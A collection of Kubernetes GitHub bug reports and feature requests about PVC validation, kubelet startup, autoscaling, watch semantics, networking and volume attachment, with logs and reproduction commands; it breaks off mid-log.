what happened  :\r i'm trying to apply the following:\r \r    yaml\r ---\r apiversion: v1\r kind: persistentvolumeclaim \r metadata:\r   name: pvc-db\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 100mi\r    \r \r however i get the following error message:\r \r    bash\r $ kubectl apply -f configs/pvc-example/pvc-obj-def.yml \r error: error validating \ configs/pvc-example/pvc-obj-def.yml\ : error \r validating data: field spec.datasource for v1.persistentvolumeclaimspec is required; \r if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r \r   what you expected to happen  :\r \r it should have successfully create the pvc object. however one thing i discovered that it does work successfuully if i comment out the 'apiversion' line and then reattempt the apply:\r \r    bash\r $ kubectl apply -f configs/pvc-example/pvc-obj-def.yml \r persistentvolumeclaim \ pvc-db\  created\r $ kubectl get pvc\r name      status    volume                                     capacity   accessmodes   storageclass   age\r pvc-db    bound     pvc-d7004148-39c7-11e9-8b76-080027635baa   1gi        rwo           standard       5s\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm working with a minikube provisioned kubecluster on my macbook. \r \r    bash\r $ minikube version\r minikube version: v0.34.1\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r i'm using the version of virtualbox version 6.0.4. \r \r

what happened  :\r \r i am running rancher and the distribution of packed kubernetes failed at start:\r \r    \r i0328 13:26:18.899899   14066 gce.go:35  error while reading product_name: open /sys/class/dmi/id/product_name: no such file or directory\r i0328 13:26:18.899967   14066 manager.go:229  machine: {numcores:2 cpufrequency:3192816 memorycapacity:2089115648 hugepages: {pagesize:2048 numpages:0}  machineid:3d6ff2f75c7d3ae927580249a28e7e05 systemuuid:3d6ff2f75c7d3ae927580249a28e7e05 bootid:18405277-2bcf-4aff-b128-b1280d70a1a2 filesystems: {device:/dev/xvda devicemajor:202 deviceminor:0 capacity:19550384128 type:vfs inodes:1228800 hasinodes:true} {device:shm devicemajor:0 deviceminor:58 capacity:1044557824 type:vfs inodes:255019 hasinodes:true} {device:overlay devicemajor:0 deviceminor:56 capacity:19550384128 type:vfs inodes:1228800 hasinodes:true} {device:tmpfs devicemajor:0 deviceminor:64 capacity:993759232 type:vfs inodes:242617 hasinodes:true}  diskmap:map 202:0:{name:xvda major:202 minor:0 size:20000538624 scheduler:none}  networkdevices: {name:eth0 macaddress:e6:c1:6d:1f:73:70 speed:0 mtu:1500}  topology: {id:0 memory:2089115648 cores: {id:2 threads: 0 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:8388608 type:unified level:3} }  cloudprovider:unknown instancetype:unknown instanceid:none}\r i0328 13:26:18.900857   14066 manager.go:235  version: {kernelversion:4.4.0-21-generic containerosversion:ubuntu 16.04 lts dockerversion:18.09.4 dockerapiversion:1.39 cadvisorversion: cadvisorrevision:}\r i0328 13:26:18.900926   14066 server.go:666  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r f0328 13:26:18.901284   14066 server.go:261  failed to run kubelet: invalid configuration: cgroup-root    doesn't exist: <nil>\r    \r \r   what you expected to happen  :\r \r i was expecting  kubelet  to start.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the image is  rancher/hyperkube:v1.13.4-rancher1 \r    \r container inspect kubelet\r  \r     {\r         \ id\ : \ 61c2114b261ff7398be402e8e27a217617abcbe2bd5186f665a89682b059f9a0\ ,\r         \ created\ : \ 2019-03-28t13:15:58.432180764z\ ,\r         \ path\ : \ /opt/rke-tools/entrypoint.sh\ ,\r         \ args\ :  \r             \ kubelet\ ,\r             \ --hostname-override=consul4\ ,\r             \ --anonymous-auth=false\ ,\r             \ --authentication-token-webhook=true\ ,\r             \ --enforce-node-allocatable=\ ,\r             \ --network-plugin=cni\ ,\r             \ --streaming-connection-idle-timeout=30m\ ,\r             \ --fail-swap-on=false\ ,\r             \ --resolv-conf=/etc/resolv.conf\ ,\r             \ --v=2\ ,\r             \ --address=0.0.0.0\ ,\r             \ --allow-privileged=true\ ,\r             \ --cni-bin-dir=/opt/cni/bin\ ,\r             \ --cni-conf-dir=/etc/cni/net.d\ ,\r             \ --make-iptables-util-chains=true\ ,\r             \ --read-only-port=0\ ,\r             \ --cloud-provider=\ ,\r             \ --cluster-dns=10.43.0.10\ ,\r             \ --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml\ ,\r             \ --pod-infra-container-image=rancher/pause:3.1\ ,\r             \ --root-dir=/var/lib/kubelet\ ,\r             \ --cgroups-per-qos=true\ ,\r             \ --event-qps=0\ ,\r             \ --volume-plugin-dir=/var/lib/kubelet/volumeplugins\ ,\r             \ --cluster-domain=cluster.local\ ,\r             \ --tls-cipher-suites=tls_ecdhe_ecdsa_with_aes_128_gcm_sha256,tls_ecdhe_ecdsa_with_aes_256_gcm_sha384,tls_ecdhe_ecdsa_with_chacha20_poly1305,tls_ecdhe_rsa_with_aes_128_gcm_sha256,tls_ecdhe_rsa_with_aes_256_gcm_sha384,tls_ecdhe_rsa_with_chacha20_poly1305\ ,\r             \ --client-ca-file=/etc/kubernetes/ssl/kube-ca.pem\ \r          ,\r ...\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.4?\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : linux consul4 4.4.0-21-generic  37-ubuntu smp mon apr 18 18:33:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

we've deleted all repos from docker hub and will be retiring the org/user  ref: https://github.com/kubernetes/k8s.io/issues/237 \r \r apparently the  kubernetes/cauldron  repo is referenced for docker push and pull in https://github.com/kubernetes/kubernetes/blob/master/test/soak/cauldron/dockerfile\r \r it's unclear to me whether we have broken anything, or if this is dead code.  i would use https://cs.k8s.io to find out if this is referenced anywhere  aside from sundry vendor dirs \r \r if dead code: remove it\r \r if used: move to test/e2e/images and follow the same pattern there used to push to gcr.io\r \r  /area test\r /wg k8s-infra\r / \r /help\r /good-first-issue\r i believe this is a pretty straightforward issue and am happy to review whatever pr's are made for it

what happened  :\r the following error occurs when creating kube-dns in local-up-cluster.sh\r \r    \r + cp k8s.io/kubernetes/cluster/addons/dns/kube-dns/kube-dns.yaml.in kube-dns.yaml\r + sed -i -e 's/{{ pillar\\ '\\''dns_domain'\\''\\  }}/cluster.local/g' kube-dns.yaml\r + sed -i -e 's/{{ pillar\\ '\\''dns_server'\\''\\  }}/10.0.0.10/g' kube-dns.yaml\r + hack/../cluster/kubectl.sh --kubeconfig=/var/run/kubernetes/admin.kubeconfig --namespace=kube-system create -f kube-dns.yaml\r service/kube-dns created\r serviceaccount/kube-dns created\r configmap/kube-dns created\r error: error parsing kube-dns.yaml: error converting yaml to json: yaml: line 50: did not find expected ',' or '}'\r    \r \r   what you expected to happen  :\r hack/local-up-cluster.sh should be able to create kube-dns successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run ./hack/local-up-cluster.sh\r \r   anything else we need to know?  :\r the memory limit in kube-dns.yaml.in has been changed to \ pillar 'dns_memory_limit' \  by  77918\r but local-up-cluster.sh does not transform it into a value.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

captured from https://github.com/kubernetes/kubernetes/pull/27914 issuecomment-228140108  today the setuppod   is called before the rkt pod is actually running  which enables we have the pod ip before hand and inject that into downward api and /etc/hosts .   however in the setuppod  , it will list try to maintain the host port iptable rules by gathering all the host ports from running pods, which will cause a race when multiple pods starts at the same time as described in the above linked comment.  cc @kubernetes/sig-rktnetes @kubernetes/sig-node @kubernetes/sig-network

currently kubelet only writes logs   30435  if the containers were not created in k8s, without any management. there is no garbage collection for both dead containers and unused images; there is no resource management and qos enforcement under kubernetes policy; etc.   we don't need to handle this for now, but file it for the future.

i am gathering test cases for firewall configurations on gce.      firewalls opened by default:  | protocol | port | from | to | desc | | --- | --- | --- | --- | --- | | tcp | 443 | 0.0.0.0/0 | master | on gce, not gke | | tcp/udp | 80/8080,30000-32767 | 0.0.0.0/0 | all cluster nodes | e2e cluster only | | tcp/udp/icmp/esp/ah/sctp |  | network route /14 cidr | all cluster nodes |  | | tcp | 22 | 0.0.0.0/0 | all instances in the project | gce default rule | | tcp/udp | 1-65535 | 10.0.0.0/8 | all instances in the project | gce default rule |     additional firewall rule:  | desc | protocol | port | from | to | | --- | --- | --- | --- | --- | | for each loadbalancer service | service protocols | service ports | anywhere or specified source ranges | all cluster nodes | | for all ingress | tcp | all ports of the backend nodeport services |  130.211.0.0/22  https://cloud.google.com/compute/docs/load-balancing/http/ troubleshooting  | all cluster nodes |     test cases: - target tags are applied to master/nodes for all k8s created firewall rules. - target tags are configured to nodes for firewall rule added for ingress/loadbalancer.  - loadbalancer service is only accessible by loadbalancer source ranges if specified.  - no access to well known ports used by k8s components from outside of cluster, such as kubelet, etcd      improvement to consider: - batch firewall management for loadbalancer/nodeport services. since firewall targets are always nodes, the differences are protocols and ports. we can group firewall rule by protocol and only update ports if needed. no need to have firewall rule per loadbalancer service. this will also prevent leaks. - clean up firewall rules specific to e2e cluster  @thockin @matchstick @kubernetes/sig-network

is this a request for help?  : no    what keywords did you search in kubernetes issues before filing this one?   outofcpu issue  29846 may be related; however,  29846 is not related to cluster autoscaling and is limited to an outofcpu condition.  ---    is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : 1.4.0    environment  : google gke -   cloud provider or hardware configuration  : google -   os    e.g. from /etc/os-release : google container-vm image v55 -   kernel    e.g.  uname -a  : linux gke-omega-cluster-default-pool-d07fc610-clps 4.4.14+  1 smp tue sep 20 10:32:07 pdt 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux -   install tools  : -   others  :    what happened  : using cluster of n1-standard-1 nodes, 1 initial node and enabled cluster autoscaling, i started 34 pods requesting 100m cpu each. since each node has only 1 cpu and 200m cpu is required for kubernetes services on each node  300m cpu on the first node , each node can run 8 pods  7 for the first node . all 34 pods would, therefore, required 5 nodes. the sequence of events:  around 15:06:30: all pods are created. as expected, most pods remain in pending state. 15:06:42: kubernetes correctly triggers scale-up; however, the scheduler only requests a single node. 15:07:34: two pods  \ out-of-cpurf679\  and \ out-of-cpuwi5ge\   are killed with \ deleted by rescheduler in order to schedule critical pod kube-system_heapster-v1.2.0-3455740371-j973x\ . 15:09:33: scale-up is triggered again, scaling from 2 to 3 nodes. 15:11:48: two other pods  \ out-of-cpu3gsro\  and \ out-of-cpun30p1\   fail with outofcpu when 10 pods are assigned to the newly added 3rd node. 15:12:31: next scale-up, going from 3 to 4 nodes. eventually, 30 pods are running, 2 pods are in outofcpu state, and 2 pods have disappeared. 15:15:16: another scale-up is triggered from 4 to 5 nodes. the 5th node remains idle as there are no more pods to schedule.  please refer to this zip file for details:  out-of-cpu-bug.zip  https://github.com/kubernetes/kubernetes/files/528186/out-of-cpu-bug.zip   \ out-of-cpu-bug.yaml\  is the yaml that was used to run the experiment through the following commands:  1> gcloud container clusters create omega-cluster --machine-type=n1-standard-1 --zone us-central1-c --num-nodes 1 --enable-autoscaling --min-nodes=1 --max-nodes=8 2> bash -c 'for i in {1..34}; do kubectl create -f out-of-cpu-bug.yaml; done'  \ out-of-cpu-bug-events.txt\  is the capture of events from 'kubectl get events -w' up to the final scale-up. \ out-of-cpu-bug-pods1.txt\  shows the output of 'kubectl get nodes,pods -a' after the outofcpu condition of two pods. note that only 32 pods show up, because 2 pods have been killed earlier and have \ disappeared\ . \ out-of-cpu-bug.pods2.txt\  shows the nodes and pods after the final scale-up. the new node \ gke-omega-cluster-default-pool-d07fc610-w79v\  is unused.    what you expected to happen  : 1. scale-up should have been triggered to bring the cluster from 1 to 5 nodes in a single step. 2. pods \ out-of-cpurf679\  and \ out-of-cpuwi5ge\  should not have been killed and disappeared. 3.  pods \ out-of-cpu3gsro\  and \ out-of-cpun30p1\  should not have been scheduled onto a full node and should not have received an outofcpu condition. 4. scale-up should not have produced an idle node.    how to reproduce it    as minimally and precisely as possible :  see above. create a cluster on google with gcloud container clusters create omega-cluster --machine-type=n1-standard-1 --zone us-central1-c --num-nodes 1 --enable-autoscaling --min-nodes=1 --max-nodes=8  schedule pods with the supplied yaml: bash -c 'for i in {1..34}; do kubectl create -f out-of-cpu-bug.yaml; done'  the exact numbers don't matter.    anything else do we need to know  :  the bug s  appear to include some race condition as the error does not always  although frequently  happen. the more pods that are being created, the more likely the situation is observed. the yaml has a commented-out section to request pod affinity. this seems to increase the likelyhood of outofcpu failures. nonetheless, the above commands will show the failure with a 1 in 2 chance. increase the number of pods to 60 or more and the problem occurs almost every time. i consider this problem a showstopper for any serious cluster autoscaling application.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : - \ too old resource version\   ---    is this a bug report or feature request?    choose one :  bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:13:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  :      gcloud container clusters list          name  zone        master_version  master_ip       machine_type   node_version  num_nodes  status k0    us-west1-b  1.4.1           104.199.114.88  n1-standard-1  1.4.1         3          running        what happened  :  when the resource version is too old the api server returns http 200 ok.      $ curl -i http://127.0.0.1:8001/api/v1/watch/namespaces/default/endpoints/nginx?resourceversion=240385          http/1.1 200 ok content-type: application/json date: tue, 18 oct 2016 21:47:16 gmt content-length: 176  {\ type\ :\ error\ ,\ object\ :{\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ too old resource version: 240385  250923 \ ,\ reason\ :\ gone\ ,\ code\ :410}}        what you expected to happen  :  when the resource version is too old the api server returns http 410 to match the error code in the response body.    how to reproduce it    as minimally and precisely as possible : - create a deployment and expose it. - scale up the deployment to 3 nodes - wait ~30 mins and get the endpoints backing the service - perform a watch on the endpoint using the resource version from the previous get    anything else do we need to know  :  no.

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : authprovider\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r the current authprovider interface lets plugins implement a \ wraptransport\  method, but existing plugins are really only using it to fetch bearer tokens. it is hard to reason about authorization header priorities when the wraptransport could potentially use or clobber any of them. we should migrate the existing plugins to an interface explicit about being for bearer tokens.\r

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.4.853+21b1fc9429aede-dirty\ , gitcommit:\ 21b1fc9429aedec76416a0e98c41d973b20acd67\ , gittreestate:\ dirty\ , builddate:\ 2017-06-05t04:49:24z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.4.852+7043372d05510b-dirty\ , gitcommit:\ 7043372d05510b13a0928af92deda6110740dd5e\ , gittreestate:\ dirty\ , builddate:\ 2017-06-01t22:26:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r kubernetes v1.5.1 - v1.6.4 are   not   affected\r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal/vm\r -   os    e.g. from /etc/os-release :  ubuntu 16.10 \r -   kernel    e.g.  uname -a  :  4.9.17-040917-generic  201703220831 \r -   install tools  :\r -   others  :  \r    \r etcd --version\r etcd version: 3.1.0\r git sha: 8ba2897\r go version: go1.7.4\r go os/arch: linux/amd64\r    \r \r   what happened  :\r it's impossible to perform a \ watch\  in any  thirdpartyresource  created.\r \r   what you expected to happen  :\r \r to be able to \ watch\  for changes in any  thirdpartyresource \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. create a tpr as described here https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-third-party-resource/ creating-a-thirdpartyresource\r \r 2. run  kubectl get crontab -w  and leave the terminal open.\r \r 3. create  my-crontab.yaml  as described in the above tutorial\r \r 4. look at the terminal where you had  kubectl get crontab -w  open and realize  kubectl  exited without printing any error nor any object modification \ watched\ .\r \r bonus:\r \r delete the object created in step 3., and run the following command in a new terminal:\r    \r curl 127.0.0.1:8080/apis/stable.example.com/v1/watch/crontabs\r    \r \r run again step 3. and you can see  curl  as exited as well. you can't run the same  curl  command again unless you delete all objects from that tpr

when running a kubernetes cluster with cloud controller manager, the node object does not get any addresses other than the internal ip address and hostname.\r \r after debugging @ublubu and i found that both ccm and kubelet race to set the node address. the kubelet is supposed to back off from setting node address when the cloudprovider is set to external. \r \r this is where kubelet sets node address - https://github.com/kubernetes/kubernetes/blob/b8c9ee8abb387de7d6e0e910538bd53057c77d0f/pkg/kubelet/kubelet_node_status.go l968\r \r  kubelet is not supposed to set it, a condition for this check needs to be added \r \r this is where ccm sets node address - https://github.com/kubernetes/kubernetes/blob/b8c9ee8abb387de7d6e0e910538bd53057c77d0f/pkg/controller/cloud/nodecontroller.go l192

@kubernetes/sig-network\r \r i try to implement a network policy with namespacesection based on the name of the namespace. this seems not to work however. when i add an extra custom label on that namespace and use that as selector in matchlabels, it works however.\r \r not working networkpolicy:\r \r \tapiversion: extensions/v1beta1\r \tkind: networkpolicy\r \tmetadata:\r \t  name: test-network-policy\r \t  namespace: default\r \tspec:\r \t  podselector:\r \t\tmatchlabels:\r \t\t  role: db\r \t  ingress:\r \t  - from:\r \t\t- namespaceselector:\r \t\t\tmatchlabels:\r \t\t\t  name: <namespace-name>\r \t\tports:\r \t\t- protocol: tcp\r \t\t  port: 6379\r \r working networkpolicy:\t\t  \r \t\t  \r \tapiversion: extensions/v1beta1\r \tkind: networkpolicy\r \tmetadata:\r \t  name: test-network-policy\r \t  namespace: default\r \tspec:\r \t  podselector:\r \t\tmatchlabels:\r \t\t  role: db\r \t  ingress:\r \t  - from:\r \t\t- namespaceselector:\r \t\t\tmatchlabels:\r \t\t\t  <custom label on namespace>: <value>\r \t\tports:\r \t\t- protocol: tcp\r \t\t  port: 6379\r \r is this intended behaviour, since i cannot get this out of the documentation?\r https://kubernetes.io/docs/concepts/services-networking/networkpolicies

  @kubernetes/sig-controller-manager-bugs\r /area  controller-manager \r /kind  bug \r is this a bug report or feature request?:\r \r  /area controller-manager\r \r i install kubernetes 1.7 on ubuntu 17.04. the master includes three nodes and owns high availability by etcd election. only a node  10.71.156.238  with kube-control-manager looks good. the other two nodes 10.71.156.176,10.71.156.170  with kube-control-manager is always hangin with \ attempting to acquire leader lease...\  and the logs are as follows:\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943413 18261 flags.go:52  flag: --service-sync-period=\ 5m0s\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943422 18261 flags.go:52  flag: --stderrthreshold=\ 2\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943431 18261 flags.go:52  flag: --terminated-pod-gc-threshold=\ 12500\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943440 18261 flags.go:52  flag: --unhealthy-zone-threshold=\ 0.55\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943449 18261 flags.go:52  flag: --use-service-account-credentials=\ true\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943456 18261 flags.go:52  flag: --v=\ 0\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943464 18261 flags.go:52  flag: --version=\ false\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943480 18261 flags.go:52  flag: --vmodule=\ \ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943515 18261 controllermanager.go:107  version: 1.7.0\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.955717 18261 leaderelection.go:179  attempting to acquire leader lease...\r \r the node  10.71.156.238  with kube-control-manager of logs are as follows:\r jul 07 16:09:36 kube-master-3 kube-controller-manager 14686 : w0707 16:09:36.250472 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: very short watch\r jul 07 16:09:37 kube-master-3 kube-controller-manager 14686 : w0707 16:09:37.263226 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: too old resource version: 968615  968654 \r jul 07 16:09:47 kube-master-3 kube-controller-manager 14686 : w0707 16:09:47.095653 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.serviceaccount ended with: very short watch\r jul 07 16:09:48 kube-master-3 kube-controller-manager 14686 : w0707 16:09:48.063006 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: very short watch\r jul 07 16:09:49 kube-master-3 kube-controller-manager 14686 : w0707 16:09:49.077683 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: too old resource version: 968615  968654 \r jul 07 16:09:50 kube-master-3 kube-controller-manager 14686 : w0707 16:09:50.258290 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:152: watch of  v1.secret ended with: very short watch\r jul 07 16:09:53 kube-master-3 kube-controller-manager 14686 : w0707 16:09:53.925920 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.statefulset ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.058561 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:151: watch of  v1.configmap ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.892659 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.job ended with: very short watch\r jul 07 16:09:57 kube-master-3 kube-controller-manager 14686 : w0707 16:09:57.555309 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.replicationcontroller ended with: very short watch.\r \r the etcd version is 3.2.0 and etcd logs are as follows:\r jul 07 15:55:05 kube-master etcd 8661 : store.index: compact 2036684\r jul 07 15:55:05 kube-master etcd 8661 : finished scheduled compaction at 2036684  took 2.643997ms \r jul 07 16:00:05 kube-master etcd 8661 : store.index: compact 2037200\r jul 07 16:00:05 kube-master etcd 8661 : finished scheduled compaction at 2037200  took 3.670872ms \r jul 07 16:00:05 kube-master etcd 8661 : apply entries took too long  105.064338ms for 1 entries \r jul 07 16:00:05 kube-master etcd 8661 : avoid queries with large range/delete range!\r jul 07 16:05:05 kube-master etcd 8661 : store.index: compact 2037722\r jul 07 16:05:05 kube-master etcd 8661 : finished scheduled compaction at 2037722  took 2.982671ms \r jul 07 16:10:05 kube-master etcd 8661 : store.index: compact 2038246\r jul 07 16:10:05 kube-master etcd 8661 : finished scheduled compaction at 2038246  took 1.99918ms \r \r the makes creation of k8s object too slow such as deployment,pod and so on. at the same time kubectl command responses very slowly. so how can i solve the problem? thanks!

the apiserver  parses  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.0/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/rest.go l395  the  timeout  query parameter, and uses it as the time limit when handling create/patch/update/delete. i think this query parameter should be removed because\r   our slo for non-streaming, single object api call is 1s, so the apiserver can safely timeout these verbs after a fixed number of seconds  currently the default is 30s . it doesn't need user's input.\r   clients can use the  http client  https://golang.org/pkg/net/http/ client 's timeout field if they want the behavior.\r   the query parameter is not documented in swagger or our api doc, so perhaps not many people depend it. removing it is not a big deal.\r \r note that watch  respects  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.0/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/rest.go l344   listoptions.timeoutseconds , not the  timeout  parameter.\r \r cc @smarterclayton @lavalamp @mbohlool @kubernetes/sig-api-machinery-api-reviews

kubernetes 1.6.2, this may have been fixed since:\r \r i had a prometheus setup from helm.  the main server pod has 3 containers, one of which is bound to a pvc, the other two are not.  the mount of the pvc timed out, because the volume was attached to another instance  and a separate issue about the sleep command not responding to a signal .  but then the pod got \ stuck\  with 2/3 containers running.  the volume mount was abandoned, but the pod was not deleted:\r \r  prometheus-prometheus-server-3601779038-frqrc              2/3       running   0          37m \r \r events:\r    \r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   36m           36m             1       default-scheduler                       normal          scheduled       successfully assigned prometheus-prometheus-server-3601779038-frqrc to ip-172-20-55-145.us-west-2.compute.internal\r   36m           36m             1       attachdetach                            warning         failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: 60595dc7-aa4b-4f00-852f-6b033465df0e\r   36m           36m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: e0f79b01-c0e8-4d36-bfea-a458d9c808ff\r   36m           36m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: fb97995d-dcd9-4112-9070-d2c53db5913c\r   35m           35m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: 65bc2d4c-8c81-4e69-ade8-6007ebc6a682\r   35m           35m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: a3f64197-7960-4030-b577-023a450b9b0c\r   35m           35m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: 9925a8b0-858c-4a1c-a449-d93ad036db06\r   35m           35m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: 769a9072-f06d-44ec-b9ab-d61d7f1a26a4\r   34m           34m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: 